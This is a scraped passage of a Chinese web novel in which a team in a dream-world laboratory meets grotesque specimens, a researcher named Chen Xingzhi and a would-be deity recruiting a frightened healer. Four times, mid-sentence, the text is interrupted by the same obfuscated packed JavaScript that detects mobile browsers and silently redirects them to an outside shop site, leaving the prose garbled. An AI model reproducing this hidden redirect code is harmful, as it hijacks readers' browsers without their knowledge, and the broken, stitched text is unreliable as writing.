深层梦境都这么真实吗？“小然”在海盗团里只是个实习生，这方面的经验不多，但光看猫胡子和老菜的脸色，都郁就知道答案恐怕是否定的。 “行了，我姓秦，正好我要去搬一些样品，你们跟着我，这次可别笨手笨脚的了！” 胸口挂着“秦良平A级研究院”铭牌的白衣男转身，絮絮叨叨地说着样品搬运事项。 老菜面色难看，与猫胡子对视了一眼，还是咬牙带队跟了上去。事到如今，她们只有搏一把找到梦境核心，才有出去的可能，不然…… 秦良平的等级似乎很高，他带着众人进入高楼，路过一件件装修古怪的屋子时，屋内都有人向他问好示意。 秦良平只微微点头以示回应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253754|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，四周的人似乎也习以为常，并不觉收到冷待。这个在试验品面前话多到有些啰嗦的人，面对同类，竟然寡言到有些冷淡。 不止秦良平，这个研究所里的所有人，都给人一种奇怪的感觉。明明四周人不少，可每个人都行色匆匆，极少交谈，神情冷淡至极，只偶尔闪过几分狂热。 沈奚静缩缩脖子，凑在猫胡子耳边压低声音：“小猫姐，我说不上来为什么，但这里的环境让我很难受。” 这点声音对都郁来说清晰得像是在耳语，都郁切换到“灵视”状态，之间沈奚静身上原本明亮蓬勃的粉色不知何时黯淡了下来，大小也微缩了不少。 奇怪的是，周围的环境虽然压抑，但出现了明显不适的只有沈奚静一个人，甚至闻人秋和“小然”身上的脏红色都明亮了一点。 等等，如果沈奚静的粉色再黯淡深沉一点，“小然”身上的脏红色再亮一点，这两个颜色不就非常相似了吗？ 那个未知的存在与梦境有关联，或者说，祂就是闻人秋之前感应到的邪神？ 如果真的是祂，祂岂不是在小队进入迷雾裂隙时就在，祂的目的是什么？一个特质和祂神权有些像的沈奚静？ 好歹是个邪神，追求总不能就这么点吧。 信息还不够，都郁推测不出对面的真实想法。 前方猫胡子对沈奚静的异样也没有轻视，发现不出端倪后，她沉吟片刻，突然抬臂竖在身前，胳膊不动，像招财猫一样手腕发力挥舞手掌，“喵”了一声，另一只手抚上脸颊，竟揪出了一根半透明的胡子一样的长毛。 揪下这根胡子后，猫胡子从闻人秋怀里跳下，身体拉长，变成一个面色稍白，约十五六岁的少女，脸上胡子一样的三组黑线数量变成了左三右二。 看来这根胡子一样的东西很重要，即使对A级异能者来说也是个不小的消耗，沈奚静眼泪汪汪地接过，胡子融入掌心，化为一道手纹。 都郁看不懂手相，但能看出，沈奚静得到胡子后黯淡的粉色明亮了不少，虽然还没恢复到之前，但和那团脏红色已经没了相似之处。 看着那团隐隐有些熟悉感的银色光团，都郁摸摸下巴，命运的力量？而且，是好运的力量？ 据说在一些地区，捡到猫掉落的胡子是好运的象征，这是否是“猫胡子”外号的来源。 这还是都郁穿书后第一次看到A级特质，果然使用时一股神秘抽象的色彩。 等猫胡子使用完能力，一行人绕过弯弯曲曲的走廊，正好停在了某个地下室门口。 秦良平似乎看不见猫胡子外貌的变化，又重复了一遍样品的重要性，这才在门口输入一长串复杂的密钥，语气里透露出些许自豪： “这将是本世纪最伟大的生物发现！” “呕——” 尽管出了好几个任务，沈奚静还是差点被眼前的一幕呕出声来。几个老资历一点的虽然没有她这么失态，但也面色铁青。 都郁瞥了一眼，不得不说，人类的想象力有时真是个可怕的东西。 14. 佑时与陈星之 一排排透明玻璃罐整齐地排列在地下室内，玻璃罐顶上插着各色手臂粗的管道，如蟒蛇般扭曲缠绕。视线穿透玻璃，浸泡在防腐药剂中，是一个个“类人”生物。 是的，“类人”，这是都郁脑中唯一能形容那罐中物的词语。 玻璃罐中大半都是人类头颅，苍白的脖颈下是一节节关节处膨大的脊椎骨，骨刺炸开，骨骼底端则是一团拳头大小的脏粉色肉团。 剩下的则是更为混乱无序的人体组织胡乱组合，有连体婴，上半身各自朝向不同的方位，下半身连在一起；也有如树一般扭曲的肢体，如此种种，简直在挑战人体和想象力的极限。 老菜反手捂住沈奚静的嘴，脸色也很不好看。即使在之前的委托中见过了不少骇人听闻的事件，她还是第一次看见如此有冲击力的画面。更可怕的是，那些装着超出人类想象的实验装置下，过于详细地标着一系列说明，这严谨科学的一幕在此刻显得格外荒诞。 秦良平对众人的异样熟视无睹，他深吸一口刺鼻中带着腥味的空气，环顾四周满脸陶醉，过了一会儿才自顾自地走入这玻璃人体森林，在一尊特别的玻璃罐前驻步，不满地回头：“你们还停在那里干什么？难道要我亲手去搬吗？公司的招人标准真是越来越随便了。” 什么样的公司会频繁招人？ 老菜看着周围的一切不敢细想，但遇见梦境核心前，最好不要顺着梦境剧情走，提前打乱剧情，会让本就不高的生存率大幅度降低。她用上从业至今锻炼出来的镇定，硬着头皮吩咐众人上前，将秦良平面前的玻璃罐卸到特制推车中。 那玻璃罐中的“样品”在这遍地诡异的地下室里也显得格外奇怪。这个名为“天心”的女性标本，脸部看上去不过17、8岁，闭着眼，全身裸露，双手护住左胸。“天心”乍一看与活人无异，短发贴在脖颈，面色莹润，甚至隐隐还有几分血色。但以肚脐为界，像是中间有一面镜子，“天心”的下半身依次是腰、胸，另一个面色安详、面容年轻的女性头颅！ 不过天心位于下面的第二双手高举，将头颅夹在中间，像是呼吁呐喊着什么，微微隆起的左胸上，露出一个巨大苍白的空洞！那洞口边缘光滑齐整，即使是最锋利的利器恐怕都不能切割得如此圆滑。空洞并没有贯穿天心，但空洞中间并不是破损的血肉组织，而是一小片好像在呼吸般的蠕动着的灰雾！ “！” 搬运时，沈奚静眼睛倏然睁大，一手死死捂住嘴，一手狠狠掐住身旁阿莉娅的胳膊，这一突然袭击差点让后者按下扳机。 “头发……头发……” 面对同伴的不解，沈奚静隐晦地指着玻璃罐中的标本，用气声说着颠三倒四的话。 阿莉娅仔细一看，惊的也一手掐住沈奚静的胳膊，众人皆是心头冒上一股凉气。在天心的头部，那些她们以为是头发的部分，是一根根被拉到极致，拥有十几个骨节的人类手指！在“发丝”贴近玻璃罐的一瞬间，都郁甚至还能看清一枚枚缩小了的指纹。 这双头怪物到底是什么鬼东西！ 沈奚静请示过老菜，一抹淡粉色的香气萦绕在众人鼻尖，都郁只觉精神一振，精神空间里时时传来的阵痛都减轻了不少。 沈奚静的粉色与治疗有关？ 猜测一闪而过，都郁的大部分心神还都停留在地下室里，在“灵视”状态中，都郁发现了除去她们这批外来人，梦境中除了灰色的第一个颜色——这些样品身上，都或多或少有着那种不详的脏红色，其中，天心的身上这色彩尤为浓郁！ 在她下半身胸膛上的空洞中，那脏红色浓郁得如有实质！ 看来这就是猫胡子他们寻找的梦境核心了——即梦境世界中异常力量最浓郁的部分，或是构成整个异常梦境的核心！就算不是，就从这个颜色浓郁程度来看，天心和梦境核心也脱不了干系。 “喂！等等我！你们把我也忘了！” 众人护送着玻璃罐离开地下室，秦良平正要关闭大门，一道身影突然从两个玻璃罐中的间隙里冲了出来，一边大喊一边冲众人跑了过来。 秦良平眼神恍惚了一瞬，转头不满地看向老菜：“你们怎么还有个队员留在里面？你们的培训到底是怎么做的？万一她留在里面破坏了设备怎么办？” 老菜随口说了几句糊弄过npc，一边笑吟吟地勾住来人的肩膀，将她抵在墙角，头微低，压低的声线里是没想掩饰的威胁：“说，你跟着我们有什么目的？” “嘻嘻，姐姐你别这么凶嘛，人家也是误入的受害者哦。” 蔡春雨的手稍一错就能扭断她的脖子，突然出现的这人却一直笑嘻嘻的。 她面容普通，五官毫无记忆点，组合在一起却有种模糊年龄的奇异气质，既无年幼的少不谙事，也无年长的饱经风霜，十五岁似乎也行，三十五岁似乎也不违和，一个似乎跳脱了时间评判标准的人。 都郁好奇地盯着她，不仅是因为她的突然出现，还因为她的奇特的颜色。在都郁的眼中，她是一个琥珀色的漩涡，漩涡中心是一团跳动的黑色。 阿莉娅虽然也有两种颜色，但那两种颜色色调一致，在对抗中隐隐有融合的趋势。这个古怪女孩身上的两种颜色却显得无比突兀，中间的黑色好像硬塞进去一边，与琥珀色泾渭分明。 “姐姐可以叫我佑时，佑时只是一个误入裂隙的可怜拾荒者，刚进来的时候简直要吓死了，幸好遇到了姐姐们。” 自称“佑时”的女孩眨眨眼，做出可怜的姿态，却有意无意地扭头向后看了一眼。 都郁眼皮一跳，她有一种强烈的预感：她看的是她！ 她压制住下意识的动作，继续操纵“小然”面无表情地盯着她。深层梦境里出现了一个可疑的人，她盯着看完全合情合理。 “但我一开始也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253755|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐们是好人，也不敢现身，只好用我的能力跟着姐姐们……” 佑时讨好地看向老菜，抬起做出投降的姿势，从指尖开始，三个呼吸间整只手逐渐都变得透明。秦良平的眼神已经有些许不耐，老菜估算了在这里发难的可行性，松开钳制佑时的手，“你去和他站在一起。” “他”自然指npc秦良平，佑时毫无异议地接受，抬眼冲都郁一笑。猫胡子的视线跟在后面，似乎随意地扫过。 【咕，这个人气息闻着和“小然”有点像。】 都郁听着166的话眼前一亮，用意念追问：“那我可以像控制‘小然’那样控制她吗？” 【她有意识，我们不能直接接管她的身体，但她的意识和身体间有空隙，我可以帮你控制这具身体三分钟。】 三分钟倒也能干很多事。 都郁暗自将这件事记在心里，疑似梦境核心的出现，意味着猫胡子她们离找到出口不远，都郁必须抓紧传教的事了。 “小然”没有意识，剩下的加上古怪出现的佑时也只有六个人，不到十个，视线扫过地下室闭合的门，门后深深浅浅的脏红色依旧清晰可见。 “166，你帮我看着点这里，我去搞点事。” 【好的咕～】 …… 天心闭着眼，无知无觉地安睡在玻璃罐中，嘈杂的脚步声渐远，隔着厚厚的合金门，玻璃罐里的浅绿色溶液中升出连串气泡，一双双暗红色的眼悄无声息地睁开。 …… “到了。” 【你回来了咕～】 都郁回来得刚刚好，一行人刚刚推着样品罐，经过了一系列的安保消毒程序，进入了位于地下最底层的实验室中。 “陈老，K级样品已经送到了。” 被称为“陈老”的，是一个带着口罩，但露出的眼睛毫无岁月痕迹的年轻女人。单眼皮，三白眼，睫毛长却不翘，垂下几乎遮住了全部本就小的瞳孔，只能看见密布着血丝的灰暗眼白。 “陈星之！” 即使不看年轻女人胸前的铭牌，那一双辨识度极高的眼睛扫过来时，都郁一眼认出了她的身份！她怎么会出现在这里？ 前世，人们在天灾和堕落生物的袭击中疲于奔命，无暇去寻找大灾变发生的缘由。但有一个流传极广的小道消息：大灾变之所以会降临，是因为洛大考古学教授陈星之，在古墓中挖出了不该挖出的东西！ 消息传出，陈星之一跃成为废土暗杀榜前三！ 幸存者们愣是在艰苦的条件中，几乎人手一份陈星之的照片或画像。 无论那个有关灭世的小道消息是真是假，陈星之都应该是自己世界的人！她为什么会变成生物研究员，出现在深层梦境中？这里可是小说世界！ 联想到研究院前的汉字挂牌，都郁脑中闪过一个大胆的猜测：也许，自己又“穿”回了原本的世界？ 15. 第一次传教 第十五章 都郁沸腾的思绪冷静下来，跨越两个世界并非易事，这里也只是一个灰雾构成的幻境而非现实，不能如此武断地做出结论。 但是，陈星之的出现绝对和废土世界有关。 这里是灵界，是物质界的扭曲投射，是物质界超凡因素源头，在这里出现和废土世界相似的事物，足以证明小说世界和废土世界的关联非常深！ 惨绿色溶液被抽出，打开样品罐，名为“天心”的样品被小心地摆放在一旁的仪器台上，两颗脑袋都带上了头盔式样的仪器，头盔顶端有十几根线与一旁的仪器相连。 “好了，这里没你们的事了，你们记得把样品罐带走，出去后会有人拿去销毁的。” 秦良平着迷地看着一旁屏幕上跳出的曲线，背对着一行人挥了挥手。 老菜看了眼实验台上的天心，搓搓手，斟酌着语气就要开口。 “滴——” “闭眼！” “咚——” 屏幕中间一条鲜红的线陡然升高，堪堪达到屏幕顶端时又骤然下降，方向变化也毫无规律可言，在仪器尖锐的警告声中，红线在屏幕里横冲直撞，竟隐隐构成一个心形。 在那颗“心”出现的一瞬间，陈星之眼部肌肉僵硬，果断开口，但还是晚了一步—— 站在“天心”身边，包括秦良平一众在内的白袍研究员们，眼神都像是被磁石粘住了般，死死钉在屏幕上，所有人右手整齐抬起，齐刷刷插进胸膛，剜出一颗颗仿佛还在跳动的心脏。 “不，不可能……” 都郁在异变开始的一瞬就开启了“灵视”，在剜出心脏的一瞬间，这些倒下的研究院们的颜色加深，由浅灰转变成和环境一般暗沉的黑灰色。 在秦良平喃喃着向后倒下的那一刻，他右手捧着的心脏，在一瞬间变成了热烈如熊熊燃烧的红色！ “心，心脏！” 剩下研究员里，有人指着倒下的尸体，语无伦次地开口：“灰蛾吃掉了他们的心脏！” 在尸体倒下的那一刻，它们右手紧紧攥着的心脏好像燃尽的木头般，化为空气中缓缓崩逝的灰烬。 灰烬消失前，一只只拳头大小的灰蛾从中飞出，绕着尸体盘旋了七圈，密密麻麻地涌上试验台，争先恐后地挤入天心“下半身”的空洞中，如同一颗不断蠕动着的灰色心脏。 一个大胆上前的研究员惊叫一声，用来检测数据的头盔并不是全封闭的，在面部有一个用来观察的透明方形条。 此时透过透明材料，天心闭着眼，安详宛如睡去的脸部，嘴角竟缓缓勾起，宛如吃到了什么大补之物。 老菜心里一紧，一时都不知道要不要继续留在梦境核心周边，一旁的陈星之掏出口袋里的笔记本，唰唰写了起来，似乎完全忘了她们这一行人。 “陈博士，你们这个研究到底是在研究什么？” 佑时跳过地上的尸体，顺手拿了把镊子掀起秦良平死死闭着的眼皮，盯了半晌，像是在找到新玩具后跳到陈星之旁边。 老菜被她的举动吓了一跳，熟知她队伍里的“小然”更是大胆，直接把脑袋凑了过去，看了一会儿甚至一把夺过陈星之手里的笔记本！ “你这是在干什么？！” 老菜差点被实习生吓得心梗，在充满即死陷阱的深层梦境里，得罪这种看上去背景就不凡的高级NPC，这和找死没有区别。 甚至找死可能都会死得更安详一点！ 都郁随手翻了一下，没在实验记录之外找到可疑的，失望地把本子重新塞回陈星之的胸口口袋。 陈星之倒也没生气，她用那双眼白比眼黑多的死鱼眼看了都郁一会儿，转头看向另一个大胆的女孩，说出口的却是一个毫不相干的问题： “为什么叫我陈博士？” 姐姐这么年轻却掌管着这么大的一间实验室，学历一定很高吧。” 陈星之抽出笔记本，随手涂改了几下，越过眼神乱飘的佑时，在实验台前站定。 她打量了天心片刻，重新把笔记本塞到兜里，撕开塑料包装，一丝不苟地戴好胶质手套，突然开口：“我不喜欢这个称呼。” “为什么？” 佑时好像根本不知道情商为何物，老菜带着队友不动声色地离她远了点，以防一会儿血溅在自己身上。 重新变成女童模样的猫胡子脸盖在闻人秋肩上，脸上胡须一般的黑线又少了一道。 “滋滋……” 特制的手套伸进那团不停蠕动着的灰蛾，接触面竟传出了浓酸物质腐蚀般的声音。 手套坚持不到三秒就腐蚀出破洞，紧接着消失的是皮肤，血管，肌肉……陈星之神情不变，肩膀一沉，掏出一团不断蠕动、不停低落灰黑色腐蚀液体的肉团。 与此同时，一道陌生又柔和，夹杂着戏谑的声音突然出现： “因为那会让她想起，星星只能是月亮陪衬的过去——我说的对吗，亲爱的陈博士？” 胸膛中隆起的灰色肉块被挖出，天心高举着双手的下半身抽搐几下，一只苍白的手紧紧攥住陈星之的手腕，一只手熟练拍了几下摘开头盔，整个“人”扶着脑袋坐了起来！ 是天心在说话！沈奚静在天心抽搐的时候就吓得后退了好几步。 可当听到那道柔和得如春风扑面，亲切得就像是母亲低语的声音时，她不禁恍惚了一瞬，目光不自觉抬起，追随天心的动作。 沈奚静看着她缓缓扭头，粲然一笑，两只手臂抚在心口，两只手臂做出向外拥抱的姿态，丰润的嘴唇颤动，鲜红的舌尖若隐若现…… 唇角弧度扩大，女人捂住心口的手垂落，露出一张唇色暗红的嘴。那同样柔软的唇瓣开合间，光明远去，啧啧的水声如潮汐，在昏暗中蚕食理智的沙滩……她又听到了母亲的声音。 祂在说，来…… 来……共游这梦中乐园…… 来……齐飨这心灵盛宴…… 来……同堕这无尽之乡…… 沈奚静目光有些痴了，她嘴唇不由抽动，就在她要下意识念出那三句话时，一道狂乱的紫色身影骤然闯入，占据了全部的心灵空间。 那道身影没有固定的形状，好似跨越无尽时空而来，周边的空间扭曲、坍塌，最后归于狂乱的紫。 沈奚静很难描绘那紫色，那颜色圣洁又扭曲，狂乱又安宁，轻盈如燃烧着的羽翼，明亮如黎明将醒的梦境。 那颜色刚一出现，就毫无道理、毫不客气地占据了全部的空间，眼前只剩霸道的紫色！ 一道毫不亲切，却非常令人幸福的隆隆巨响在那狂乱的紫色中震荡： “不想死就跟着我念——侵蚀裂隙中的时空行者……” “……侵蚀裂隙中的时空行者……” “——吞噬时间谜语的六翼白鸽……” “……吞噬时间谜语的六翼白鸽……” “——谛听两端的聆听之主，我请求您的庇佑！庇佑这颗迷失的心灵！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255439|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那道巨声没有之前的母亲、不，之前的女声亲切，在心灵震荡中却似乎带着清醒的效果。 沈奚静大脑骤然一清，原本机械重复着的声音一顿。即使她刚刚加入猫胡子不久，神志清醒后，她也立刻响起了两道声音让她念的，内容不同但性质完全一样的词语是什么。 是指向不可知邪神的祈祷词！ 那巨声似乎察觉到了沈奚静迟疑，竟然颇为好说话地接着开口：“你要不愿意念也可以，不过我可挡不了那东西多久。” 那巨声听上去竟有几分遗憾——打住，不要再揣测邪神的心思了！会发疯的！ 沈奚静精神高度紧绷，在崩溃的边缘徘徊……她何德何能，能让两个邪神抢着要收为信徒！ 沈奚静不知道她迟疑了多久，那狂乱的紫色说完后没有催促，像是在给自己留缓冲的时间——停，沈奚静！清醒！神明是不会有人类的情感的！ 此时没有可以随时提问的前辈同伴，沈奚静仓皇抬头，那狂乱的紫色像是受到什么冲击般摇晃，边缘变得虚幻透明，没有紫色的遮掩，沈奚静似乎又能看见那张丰腴柔软的红唇…… 不，清醒！……比起强买强卖的女声，这道还会给人留考虑余地的紫色似乎更好一点……谁能知道这会不会是一场幻觉，根本没有母亲、没有嘴唇，那道紫色在骗人……不，你只是个普通人，神明不屑于欺骗凡人…… 都郁前一刻发现沈奚静灵魂和身体间产生缝隙，看着艳丽的粉色变得黯淡，当机立断地选择进入沈奚静的精神空间，和那未知存在争夺起了沈奚静！ 此时她在沈奚静面前看似体贴地保持沉默，实际上是在不断燃烧精神力阻挡那发疯的未知存在！ 虽然不知道为什么她的位格似乎要比对方高，即使迟一点也能先占据沈奚静的精神空间，将对方拒之门外。 但她知道，虽然有她的加持，但沈奚静再犹豫下去，她脆弱的精神屏障将被击穿！ 虽然信徒的数量她有了打算，她也不想放弃沈奚静这个优质信徒。 就在都郁想着要不要加点火时，她终于听到了沈奚静的回应： “如果，我是说如果，如果我获得了聆听之主的庇佑，我需要付出什么？” 都郁差点要说什么都不要，但考虑到这个世界的同行惯例，她大脑飞速运转，想出了献祭物的内容—— 沈奚静几乎在说出口的一瞬间就有些后悔，可看着空中逐渐明晰的另一道声音，焦虑和紧张瞬间驱散了后悔，可能还有些疯狂。 她可能真的疯了，她竟然在考虑邪神的承诺，为了妹妹，她必须要活下去，只要祭品不涉及到他人，能让她活着离开，她就愿意—— “你需要向伟大的主献上金钱！” 语气高昂的巨声打碎了沈奚静脑中的设想，她意识空白一瞬，那巨声却没给她反应的时间，接连催促道： “你还犹豫什么？命重要还是钱重要？命都没了你要钱在哪花？如果你愿意奉上献祭物，就念出最后一段祷词！我跟你说信仰聆听之主真的很划算的……” “……谛听两端的聆听之主，我祈求您的庇佑……” 沈奚静神志恍惚地念出最后一段祷词，一瞬间有些怀疑这是不是也是邪神迷惑人心智的一部分。 ——不然哪有邪神信徒传教的话术会像那群疯狂卖保险的推销员一样啊！甚至比他们还烦！至少保险推销员的声音不会震得脑袋嗡嗡响！ 你这邪神正经吗？ 16. 报酬与D主教 在沈奚静念出最后一句祷词的一瞬间，紫光大盛，不甘怨毒的尖啸骤然炸响，却又在下一秒被紫色身影弹出精神空间之外。 “赞美聆听之主！正式介绍一下，我是主的一名传教士，你可以叫我D主教。 “你还在考察期，暂时归我管，有事找我你可以念主的祷词，然后在后面加一句''我找D主教''，主不会介意的。 “拜拜~” 那紫色的狂乱身影竟然跟自己道别后才消失，沈奚静呆滞地也回了一个“再见”，只觉本就不够用的脑细胞越发捉襟见肘了起来。 怎么会有要信徒献祭无用金钱的邪神？又怎么会有对神如此不敬，直言“主不在乎”的主教？这些事怎么都让她碰上了？！ 沈奚静大脑晕乎乎，在狂乱的紫光消失后好几秒，才勉强找到操纵身体的感觉，努力睁开眼，视线由模糊变清晰。 “小猫姐……” 女孩一脸严肃地按住挣扎着要起身的沈奚静，看着闻人秋点了点头，这才开口：“你刚刚失去意识，接近三十秒；发什么了什么？不要描述，概括你遇到的情况。” 知道这是必要的程序，但沈奚静一时竟不知道该如何开口。如实说真的不会被当成疯子吗？ 她挠了挠头，决定把这个问题抛给队友，“那个样品说话的时候，我可能出现了幻觉……” “呵。” 沈奚静说完，老菜还没来得及评估她这一番荒谬的遭遇，不远处传来一声冷笑。 名为“天心”的样本坐起说完话后，头颅垂了下去，紧紧贴住胸膛，被陈星之粗暴地掰回原位也没有动静，脸上奇异的安详感尽数消失，像是刚刚的“诈尸”消耗了这具身体的全部能量。 陈星之冷笑后，转身将掏出来的深灰色肉团放在尸体旁边的操作台上。 冷淡地擦了擦手掌处露骨的伤口，她徒手剥掉大半灰色肉块，剖出一块拇指大小的肉块。 那肉块整体呈脏红色，肉质松散，浅黄色的脂肪层颗粒分明，密密麻麻的凸起像是大团即将破壳的虫卵。 陈星之冷笑后似乎全沉浸在自己的世界中，她的手指就是最精准的仪器，即使大半血肉都被腐蚀，指尖依旧稳定，连最微小的起伏都不存在。 她像是在做一场精密的手术，一颗一颗地将肉块中的黄色颗粒都掐了出来，摆在一旁的盘子里，乍一看有过百之数。 “队长，我们要不要做点什么？” 一般来说，虽然充满诡异，但深层梦境都有着自己的运行逻辑，进入者贸然改动很可能会带来负面影响。 但危险之处也就在此，如果进入者什么都不做，也有可能会被梦境的诡异侵染，直到被诡异吞噬，变成梦境的一部分。 如果她们不是高等级的异能者，地下室那一拨就足够带来毁灭性的精神冲击了。 即便如此，老菜此时都能感到心灵深处似乎已经发生了异变，有什么勾起了内心最深处的阴暗。 在刚刚沈奚静突然失去意识时，她的内心竟然闪过了“她只听那个女人的话，没有她，自己会更容易在队伍中获得主导权”的想法，即使只有一瞬，也足够让自诩内心坚定的蔡春玉冒出一头冷汗了。 不仅是她，除了本身就处在严重诅咒中的猫胡子，其他人或多或少都有一些负面改变。闻人秋对认定的事过于偏执，话不多的阿莉娅阴沉得有些冷漠，似乎只有那个一向呆呆的实习生靠优秀的智力水平逃过一劫。 在侵蚀还可控前，必须离开这里！ 老菜目光灼灼地盯着猫胡子，这个梦境或许不是她遇见过最凶险的，但绝对是最诡异的，有太多自相矛盾之处。 猫胡子顶着蔡春玉的目光，眉毛紧紧皱起，不自觉地搓动大拇指，食指和中指。 迷雾裂隙中的梦境空间虽然完整，但场景大多是不连贯的、断裂的，核心的场景往往只有一个，唯一能离开梦境的梦境核心也就在此。 但在这个场景中……天心作为样本明显有异常，和梦境空间关联很深；而既然是以实验室为核心场景，那么作为实验室的主导人，陈星之看着也不太像正常人。 更令人窒息的是两人似乎是敌对状态，天心嘲弄完陈星之后就失去了意识；陈星之现在端起剖完了颗粒的肉夸，准备喂给天心，看架势不像喂食像投毒。 要去阻止她吗？到底谁才是梦境的核心？静静刚刚的遭遇又是因为什么触发条件？ “陈星之，你为什么要喂她这个肉块？” 女童思索间，一个错眼没盯住，一道身影突地窜出，站到手术台另一端，观察陈星之的动作。 猫胡子被吓得差点对着陈星之发动能力，这次的实习生到底怎么回事，面对这种诡异生物都敢往前……不对，这么莽撞的实习生，真的能通过入团测试吗…… 陈星之手上动作一顿，偏头盯了“小然”一眼，三白眼中看不出情绪，竟真的解释了一句： “狩猎失败，苦果自然要自己吃。” 狩猎？刚刚盯上沈奚静的就是它？ 手术台上的尸体畸形扭曲，原本和活人无异的皮肤像晒干的橘子，在实验室的灯光下迅速变得干瘪，那种诡异的气息似乎彻底离开了这具尸体。 离开？ 都郁像是想起了什么，打开灵视，看向闻人秋。 一团心脏大小的脏红色被淡蓝色光团包围，不仅没有像之前沈奚静那样扩张，甚至还有几分萎缩，光芒都似乎黯淡了些许。 都郁收回视线，“不经意”地扫过陈星之，对方身体对应的位置却空无一物，连遍布梦境的灰色都没有。 除了前世的线索，这也是都郁如此关注陈星之的原因之一。虽然灵视没有产品说明，但都郁自己也摸索出了几个使用规律。 她看见的颜色，大概率是超凡要素的“颜色”。每个颜色带给人的感觉不同，有的温暖，有的寒冷，应该就是不同的能力倾向导致的。沈奚静有治疗的能力，她的颜色就比负责攻击的阿莉娅明亮。 而有的颜色则有相似之处，都郁猜测，要么这两种相邻色其实是同一种颜色，只是浓度不同；要么这两种相邻色在某些方面有重叠的部分，两种特质包含的要素都同属于某一个更高等级的要素。 以田一诺举例，她的异能特质【千金一诺】和另一个原身见过的特质【乌鸦嘴】，虽然使用过程中具体表现不同，但两种特质都包含【言灵】这一要素。 都郁猜测沈奚静也是这种情况，这么多人，只有她直面了那个诡异存在，她的特质应该和对方拥有的能力有重合，这才招致了对方的垂涎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273139|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但闻人秋是什么情况？明明那两种颜色不仅没有相似之处，淡蓝色还隐隐有排斥脏红色的趋势在。 更无法解释的是陈星之。如果一种颜色代表一种超凡特质，为什么明显不是常人的陈星之没有颜色？ 她的推理存在漏洞，还是陈星之是特殊的？ “滴——滴——！” 尖锐的警报声一声比一声急促，实验室灯光转为红色，如即将爆炸的炸弹指示灯一样疯狂闪烁，门口处“隆隆”几声，一道合金铁门重重落地，牢牢堵住唯一的出口。 “发生什么事了？” 猫胡子一行人快速进入警戒状态，沈奚静谨慎地打量四周，棕色瞳孔里红光分开闪烁，不详的预感过电般传递到全身。 “没事。实验失败这里要自毁了而已。” 陈星之手上动作没停，捏开尸体的嘴将肉块塞进去，手掌往下捏住脖子，一推一卡后尸体“咕”的一声竟然将肉咽了下去。 “嗬、嗬、嗬、嗬……” 那尸体吞下肉块，毫无生气的肢体开始抽搐，喉咙开合，腐肉挤压喉骨，气声之间粘连不断，几个细碎的音节隐隐约约竟能拼出一段话： “陈……星之……我……等你……在、、地狱……身后……一直、看着你……！” 那声音断断续续，都郁仔细辨别才能听清几个字。在吐出最后几个音节后，尸体的抽搐骤然消失，胸膛缺口火星闪过，一簇鲜红的火苗燃起，一瞬间吞噬了整具尸体！ “小然”的发丝在高温下卷曲，都郁不得已操纵着她退后一步，实验室内所有的灯不再闪烁，如烟花般“嘭”地爆炸，碎屑如逐火的飞蛾般纷纷涌入火堆中。 陈星之可能感受不到烫，站在原地一动不动，一手插兜，一手抽出一根烟。她叼着烟，微微躬身，借着火光点燃后深吸了一口。 “砰砰砰——” 这堆燃烧起来的火焰在黑暗中似乎格外显眼，至少三公分厚的合金铁门数秒之内，增加了十几条超过一米的凸起，看形状像是什么深海巨兽的触肢。 “哦，忘了跟你们说了。” 陈星之两指夹着烟，抖了抖烟灰，冲火焰深处一抬下巴，“这就是你们找的什么核心，十分钟后，会有出去的门——如果你们能在暴走的样品中活下来的话。” 说话间，合金门上又多了几道痕迹，像是即将装满水的气球，不知何时就会在旁观者惊骇的眼神中爆炸。 老菜骂了几句脏活，谁能想到，她们什么都没干，这个鬼梦境自己就崩溃了？这向哪说理去。 那个脑子缺一根筋的实习生可以忽略，老菜压下心底涌出的恐惧，几人匆匆在实验室内找了个掩体，戒备地准备好武器。 “那你呢？你就什么都不干坐享其成？” 陈星之显然没有出手的打算，都郁眯了眯眼，心底窜出一股火气。 